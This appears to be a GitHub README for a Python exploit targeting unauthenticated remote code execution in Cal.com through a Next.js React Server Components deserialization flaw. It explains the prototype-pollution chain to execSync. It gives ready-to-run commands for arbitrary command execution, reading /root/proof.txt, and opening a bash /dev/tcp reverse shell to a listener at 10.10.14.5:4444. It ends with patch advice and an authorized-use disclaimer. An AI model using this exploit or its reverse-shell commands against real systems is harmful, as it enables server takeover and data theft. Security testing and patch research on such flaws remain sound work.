0xdak/cve-2025-71389_exploitPython exploit for unauthenticated RCE in Cal.com (CVE-2025-71389) via React Server Components deserialization. Single request yields command execution or reverse shell.
Unauthenticated remote code execution in Cal.com
<= 5.9.8 via the React Server Components "Flight" deserialization flaw —
"react2shell" (CVE-2025-55182 in React, CVE-2025-66478 in Next.js).
Cal.com bundles a vulnerable Next.js 15.x. A single unauthenticated POST / carrying a
Next-Action header and a crafted multipart Flight payload walks a prototype-pollution
chain (__proto__:then + constructor:constructor) into a server-side eval, reaching
child_process.execSync. The command's output is returned inline in the RSC error
digest field. No authentication, no user interaction — a single request is RCE.
<= 5.9.8 (Next.js 15.x / 16.x App Router with RSC)5.9.9 (bumps the bundled Next.js)3000pip install requests
# one-off command (output comes back in the response)
python3 exploit.py http://10.10.10.10:3000/ -c 'id'
python3 exploit.py http://10.10.10.10:3000/ -c 'cat /root/proof.txt'
# interactive reverse shell (start `nc -lvnp 4444` first)
python3 exploit.py http://10.10.10.10:3000/ --shell 10.10.14.5:4444
The one-off command returns its output inline via the RSC error digest. The --shell
mode fires a setsid-detached bash /dev/tcp reverse shell (the target's container is
Debian and ships bash).
Upgrade Cal.com to >= 5.9.9 (any patched Next.js: 15.0.5 / 15.1.9 / 15.2.6 / 15.3.6 /
15.4.8 / 15.5.7 / 16.0.7). Do not expose the RSC server-function handler to untrusted
clients, and don't run the app container as root.
For authorized security testing and education only. Use it only against systems you own or have explicit permission to test.